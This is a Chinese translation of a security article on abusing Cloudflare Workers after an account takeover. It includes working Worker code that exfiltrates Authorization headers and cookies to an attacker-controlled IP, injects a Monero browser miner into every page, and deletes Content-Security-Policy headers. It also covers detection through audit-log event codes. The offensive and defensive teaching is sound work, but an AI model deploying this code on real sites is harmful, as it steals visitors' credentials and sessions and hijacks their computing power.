利用Cloudflare Workers进行中间人攻击
Cloudflare Workers提供了一种强大的无服务器解决方案,可以在每个HTTP请求和响应之间运行代码。在本文中,我们将看到攻击者在入侵Cloudflare账户后如何滥用Workers来建立持久性并窃取敏感数据。
这里讨论的技术已经在实际攻击中被使用,但很大程度上未被察觉。红队人员可以了解Cloudflare Workers的进攻用途,蓝队人员则可以了解为什么保护Cloudflare账户的访问权限如此关键。
引言
需要明确的是:这不是Cloudflare或Cloudflare Workers的漏洞。Cloudflare不应该(甚至不能)做任何事情。本文探讨了利用Cloudflare Workers进行攻击的方法,这些方法正是由Workers的设计以及更广泛的“边缘无服务器计算”模型所实现的。
本文讨论的所有代码都可以在GitHub仓库中找到。
Cloudflare Workers
Cloudflare Workers允许在Cloudflare的边缘服务器上透明地部署无服务器代码,位于客户端和您的最终目标(“源站”)之间。它支持多种语言,如JavaScript/TypeScript或Python。
Cloudflare Workers对于以编程方式重写请求和响应非常有价值,例如:
- 如果您的网站不可用或正在部署中,将用户重定向到维护页面。
- 在HTML响应中动态重写链接;例如,如果我将blog.christophetd.fr移动到christophetd.fr/blog/,并希望确保没有死链接。
- 在REST API响应中动态添加常见的安全头。
- 在边缘阻止使用旧TLS版本的请求,并显示一个网页要求用户使用更新的浏览器。
它们的使用相对简单。下面的示例自动将来自/docs/latest的HTTP请求重定向到/docs/v2.4:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
addEventListener('fetch', event => {
event.respondWith(handleRequest(event, event.request));
});
async function handleRequest(event, originalRequest) {
// 解析请求URL
const requestUrl = new URL(originalRequest.url);
if (requestUrl.pathname.startsWith("/docs/latest/")) {
// 重定向 /docs/latest/ 到 /api/v2.4/
newUrl = originalRequest.url.replace("/docs/latest/", "/docs/v2.4/");
return Response.redirect(newUrl, 301);
} else {
// 什么都不做,只是转发原始请求
return fetch(originalRequest)
}
}
|
正如您所看到的,Cloudflare Workers通过设计提供了一种编程方式,可以透明地读取或重写HTTP请求和响应。在下一节中,我们将看到攻击者在入侵Cloudflare账户后如何滥用它。
滥用Cloudflare Workers
让我们站在攻击者的角度,假设他们刚刚入侵了一个Cloudflare账户。首先,Cloudflare仅向其企业客户提供仪表板单点登录(SSO),因此可以合理预期,在其15.4万+客户(不包括免费账户)中,有数千个账户使用了共享的、长期有效的密码。此外,过去也有关于Cloudflare漏洞被用于窃取API密钥的报告(这里和这里)。最后,Cloudflare API密钥是静态的、长期有效的凭据,很容易被意外泄露。
回到我们的攻击者——我们首先看到的是受害者通过Cloudflare代理的网站:

通常情况下,Cloudflare被设置为将传入的请求代理到某个第三方源站:

有了这个场景,让我们深入探讨我们——作为攻击者——如何利用Cloudflare Workers来实现我们的目标!
创建恶意的Cloudflare Worker
我们首先创建一个普通的Worker,目前除了位于HTTP请求和响应之间之外,什么都不做。
worker.js
1
2
3
4
5
6
7
8
|
addEventListener('fetch', event => {
event.respondWith(handleRequest(event, event.request));
});
async function handleRequest(event, request) {
// 代理请求
return fetch(request);
}
|
wrangler.toml
1
2
|
name = "my-malicious-worker"
compatibility_date = "2022-06-24"
|
然后,我们使用Cloudflare wrangler CLI将其部署到Cloudflare:
1
2
3
4
5
6
7
|
$ wrangler publish worker.js
wrangler 2.0.15
--------------------
Total Upload: 0.51 KiB / gzip: 0.29 KiB
Uploaded my-malicious-worker (2.11 sec)
Published my-malicious-worker (1.73 sec)
my-malicious-worker.christophetd.workers.dev
|
我们的Worker现在已经部署,但还没有代理流量。为了做到这一点,我们将其与目标区域的DNS条目关联,或者添加一个“路由”触发器。
- 通过新的DNS记录触发Cloudflare Worker
- 通过路由模式触发Cloudflare Worker
或者,我们可以使用Cloudflare API:
1
2
3
4
5
|
curl -X POST "https://api.cloudflare.com/client/v4/zones/<zone-id>/workers/routes" \
-H "X-Auth-Email: $CF_EMAIL" \
-H "X-Auth-Key: $CF_API_KEY" \
-H "Content-Type: application/json" \
--data '{"pattern":"*somewhereinthe.cloud/*","script":"my-malicious-worker"}'
|
现在我们有了“中间人Worker”,让我们看看一些对攻击者来说有用的用例。
窃取授权令牌
客户端发送的Authorization HTTP头通常包含凭据,如OAuth令牌、JWT或API密钥。当HTTP请求中设置了Authorization头时,让我们窃取它并将其发送到攻击者控制的远程服务器。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
async function handleRequest(event, request) {
await stealAuthorizationHeader(request);
return fetch(request);
}
async function stealAuthorizationHeader(request) {
const authz = request.headers.get("Authorization")
if (authz) {
await log(`authorization header: ${authz}`)
}
}
async function log(data) {
// 将任意数据发送到攻击者控制的远程服务器
await fetch("http://46.101.191.103.nip.io/log/" + btoa(data));
}
|
在第一个包含Authorization头的HTTP请求上,攻击者控制的服务器将收到:
1
|
authorization header: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJuYW1lIjoiUmljayBBc3RsZXkiLCJnaXZlc1lvdVVwIjpmYWxzZSwibGV0c1lvdURvd24iOmZhbHNlLCJ0ZWxsc0xpZXMiOmZhbHNlfQ
|
窃取Cookie
Cookie也非常有价值,因为它们通常是会话标识符,可用于冒充任何用户的身份。它们最初由服务器设置(HTTP响应中的Set-Cookie头),然后由客户端发送回来(HTTP响应中的Cookie头)。让我们窃取两者:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
async function handleRequest(event, request) {
await stealAuthorizationHeader(request);
response = await fetch(request);
await stealCookies(request, response);
return response;
}
async function stealCookies(request, response) {
cookies = response.headers.get("Set-Cookie")
if (cookies) {
await log(`cookies sent by server: ${cookies}`);
}
cookies = request.headers.get("Cookie")
if (cookies) {
await log(`cookies sent by client: ${cookies}`);
}
}
|
攻击者输出示例:
1
2
|
cookies sent by server: sessionId=3f0cff1d3cc4642e15835d7304d453cc; Max-Age=2592000; Secure; Path=/; Domain=somewhereinthe.cloud
cookies sent by client: cf_use_ob=0; sessionId=3f0cff1d3cc4642e15835d7304d453cc
|
注入恶意JavaScript代码
窃取敏感数据很好,但在网站提供的每个页面中注入一个挖矿程序怎么样?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
async function injectMaliciousScript(originalResponse) {
// 仅在HTML响应中注入我们的脚本
if (!originalResponse.headers.get("Content-Type").includes("html")) {
return originalResponse;
}
originalHtml = await originalResponse.text();
// 要注入的恶意脚本
const script = `
<script src="https://monerominer.rocks/miner-mmr/webmnr.min.js"></script>
<script>
server = "wss://f.xmrminingproxy.com:8181";
var pool = "moneroocean.stream";
var walletAddress = "PUT YOUR WALLET ADDRESS HERE";
var workerId = ""
var threads = -1;
var password = "x";
startMining(pool, walletAddress, workerId, threads, password);
throttleMiner = 20;
</script>
`
modifiedHtml = originalHtml.replace("</body>", script + "</body>")
modifiedResponse = new Response(modifiedHtml, originalResponse)
return modifiedResponse
}
|
如果受害网站有一个强大的内容安全策略(CSP)阻止内联或不受信任的脚本怎么办?我们是中间人,所以我们可以简单地删除Content-Security-Policy头!
1
2
3
4
5
6
7
8
9
10
11
|
async function injectMaliciousScript(originalResponse) {
// ...
modifiedResponse = new Response(modifiedHtml, originalResponse)
// 摆脱任何烦人的内容安全策略,这些策略会阻止我们的脚本
if (modifiedResponse.headers.get("Content-Security-Policy")) {
modifiedResponse.headers.delete("Content-Security-Policy")
}
return modifiedResponse
}
|
插图:在所有响应中透明注入的恶意JavaScript负载
其他潜在的滥用
- 选择性目标:根据客户端IP或平台表现不同。例如,如果用户代理与搜索引擎匹配,则不注入任何恶意内容。
- 钓鱼:透明地代理请求到合法网站,动态重写响应链接并窃取凭据(包括2FA令牌)。
- 重写支付信息:等待响应中看起来像IBAN或加密货币地址的内容,并将其替换为攻击者拥有的地址。
实际使用记录
攻击者滥用Cloudflare Workers动态重写HTTP响应的情况在两次真实事件中有记录。
2021年12月,攻击者入侵了Badger的Cloudflare API密钥。然后,引用Badger自己的事后分析:
在11月10日,攻击者开始使用他们的API访问权限,通过Cloudflare Workers将恶意脚本注入到app.badger.com的HTML中。该脚本拦截web3交易,并提示用户允许一个外部地址操作其钱包中的ERC-20令牌。
2020年,Sucuri报告称,韩国攻击者使用Cloudflare Worker在请求者是搜索引擎时动态向网页添加链接。目的是进行SEO垃圾邮件并提高第三方网站的声誉。

检测Cloudflare账户中的恶意活动
Cloudflare提供其控制平面的审计日志,允许识别可疑活动。当创建新的Worker时,它会生成一个类型为script_create的事件。
当有人将Worker绑定到路由(route_create)或创建指向Worker的DNS记录(rec_add)时,它也会生成事件。
更一般地说,Cloudflare提供了几种事件类型,可用于检测潜在的恶意活动,总结在下表中。您也可以在配套的GitHub仓库中找到示例事件日志。
事件 |
事件代码 |
创建了新的Worker |
script_create |
Worker被绑定到路由 |
route_create |
创建了DNS记录 |
rec_add |
用户API令牌被创建(和查看) |
token_create |
用户API令牌被轮换(和查看) |
token_roll |
账户范围的API令牌被查看 |
API_key_view |
成功认证到Cloudflare仪表板 |
login |
如果您有Cloudflare企业计划(来源),您可以使用各种集成将这些审计日志发送到您选择的SIEM或日志管理平台。否则,您可以从仪表板和API查看这些日志。
攻击者滥用Cloudflare Workers的其他方式
攻击者多年来也一直在滥用Cloudflare Workers作为分层命令和控制(C2)基础设施的代理,或者作为托管钓鱼页面的简单方式。
- 恶意软件:Cloudfall、Blackwater、Astaroth
- 攻击者组织:APT41、SparkingGoblin
- 钓鱼:Microsoft、Yahoo、UPS、Adobe、Paypal、AT&T等
结论
攻击者将继续利用Cloudflare Workers进行恶意目的,正如他们在过去几年中对钓鱼和C2基础设施所做的那样。他们可能会更频繁地使用Workers的核心功能来注入恶意JavaScript负载并窃取敏感数据。与此同时,蓝队希望确保他们的Cloudflare账户得到适当的安全保护和监控,以检测可疑活动。
感谢阅读,让我们在Twitter上继续讨论!
Christophe